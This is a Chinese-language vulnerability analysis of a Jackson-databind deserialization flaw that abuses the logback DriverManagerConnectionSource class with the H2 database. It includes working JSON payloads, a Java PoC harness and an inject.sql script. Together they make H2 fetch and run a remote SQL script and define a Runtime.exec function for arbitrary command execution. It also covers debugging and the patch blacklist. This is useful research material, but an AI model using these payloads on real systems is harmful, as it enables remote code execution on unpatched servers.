本次CVE是基于logback的利用链的。

0x01 影响版本

Jackson 2.x系列 <2.9.9.1

0x02 限制

需要logback和H2数据库的依赖,但是用H2嵌入式数据库的场景很少见。

0x03 H2特性——用户自定义函数

H2数据库,是Java实现的内存数据库,可作为嵌入式内存数据库,提供用户自定义数据库函数以及在数据库中注册函数的功能。

下面看看用户如何来自定义H2数据库函数的。

现在假设我们需要在H2数据库中实现Oracle的”TO_DATE”函数,那么需要的过程是这样的:

  1. 使用Java实现自定义函数的方法;
  2. 将Java的自定义函数注册到H2数据库中;

首先我们自定义这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.seraph.bi.suite.support.h2;

import java.text.SimpleDateFormat;
import org.h2.tools.SimpleResultSet;
...

public class Function {
public static java.sql.Date to_date(String source, String format) throws ParseException {
// TODO: 'YYYY-MM-DD' ? Oracle format?
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
java.util.Date date = sdf.parse(source);
return new java.sql.Date(date.getTime());
}
...
}

以上代码段是TO_DATE的实现,但用户自定义的函数需注意的是:类和方法必须是公共(Public)的,且方法需为静态(static)的,如方法中使用了Connection对象需将其关闭。

第二步,我们将其注册到数据库中,执行CREATE ALIAS语句:

1
CREATE ALIAS [IF NOT EXISTS] newFunctionAliasName [DETERMINISTIC] FOR classAndMethodName

本例的语句为:

1
CREATE ALIAS TO_DATE FOR "com.seraph.bi.suite.support.h2.Function.to_date";

之后,再执行类似如下语句,函数TO_DATE即可被解析了:

1
SELECT to_date('2009-1-21','YYYY-MM-DD') from Your_Table;

0x04 复现利用

需要的jar包如下:

关键PoC:

1
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]

以下Demo,先尝试向目标服务器发起请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class PoC {
public static void main(String[] args) {
String payload = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
Object object = mapper.readValue(payload, Object.class);
// 反序列化之后还需要进行序列化操作才能触发!
String s = mapper.writeValueAsString(object);
} catch (IOException e) {
e.printStackTrace();
}
}
}

注意,反序列化之后需要调用ObjectMapper.writeValueAsString()即进行序列化操作才能成功触发漏洞,这就是该CVE的鸡肋之处。

运行后,目标服务端接收到GET方式请求/inject.sql即成功:

PoC中的JSON实际上是在H2内存数据库初始化的时候执行RUNSCRIPT指令,从指定的URL中加载执行SQL脚本。而由于刚才的Demo中Web服务未放置该SQL脚本因为没有执行,下面来看看怎么实现漏洞利用。

在Web服务端编写inject.sql,根据H2的用户可自定义函数的功能来实现,第一部分是CREATE ALIAS命令用来自定义shellexec()函数的内容,第二部分是callSQL命令,用来调用前面自定义的函数:

1
2
3
4
5
6
CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {
String[] command = {"cmd", "/c", cmd};
Runtime.getRuntime().exec(command);
}
$$;
CALL SHELLEXEC('calc')

再次运行即可成功弹计算器:

我们可以再优化一下。我们看到payload中,url键对应的值其实就是一条SQL命令jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql',因此,我们可以直接将相应的URL部分替换为其他SQL命令,使用文件存储方式先定义一个命令执行的函数,注意代码中的分号需要用反斜杠转义一下:

1
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:file:~/.h2/mi1k7ea;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd)\\; }$$;"}]

这里jdbc:h2:file会在本地Users目录中生成指定的数据库文件即C:/Users/xx/.h2/mi1k7ea.mv.db,下次可以直接调用该文件进行操作。

接着同样使用文件存储模式,执行CALL命令调用刚刚自定义的函数即可时效内任意代码执行:

1
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:file:~/.h2/mi1k7ea;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CALL SHELLEXEC('calc');"}]

0x05 调试分析

我们在ch.qos.logback.core.db.DriverManagerConnectionSource类上的所有getter方法和setter方法上打上断点,然后调试发现:

如果在Jackson反序列化之后不调用ObjectMapper.writeValueAsString(),则只会调用DriverManagerConnectionSource类的setUrl()函数;

如果在Jackson反序列化之后调用ObjectMapper.writeValueAsString(),则在调用DriverManagerConnectionSource类的setUrl()函数之后再调用getDriverClass()、getUrl()、getConnection();

接着在mapper.writeValueAsString(object);处打上断点重新调试。

在Jackson序列化的过程中,会通过调用getter方法来获取对象的属性值,会循环调用BeanPropertyWriter.serializeAsField()函数,其中通过反射机制来调用要序列化的对象所属类的getter方法:

在循环调用 函数的时候,会先后调用getDriverClass()、getUrl()、getConnection()等类的getter方法。

在最后调用getConnection()函数中,调用了DriverManager.getConnection()函数来和H2数据库进行连接交互,并且由于url参数我们外部可控,因此就能利用H2用户可自定义函数的特性来实现RCE:

0x06 补丁分析

Jackson在2.9.9.1版本中添加了ch.qos.logback.core.db.DriverManagerConnectionSource类的黑名单,具体的可在jackson-databind-2.9.9.1-sources.jar!/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java中看到:

1
2
// [databind#2334]: logback-core (2.9.9.1)
s.add("ch.qos.logback.core.db.DriverManagerConnectionSource");

0x07 参考

Jackson gadgets - Anatomy of a vulnerability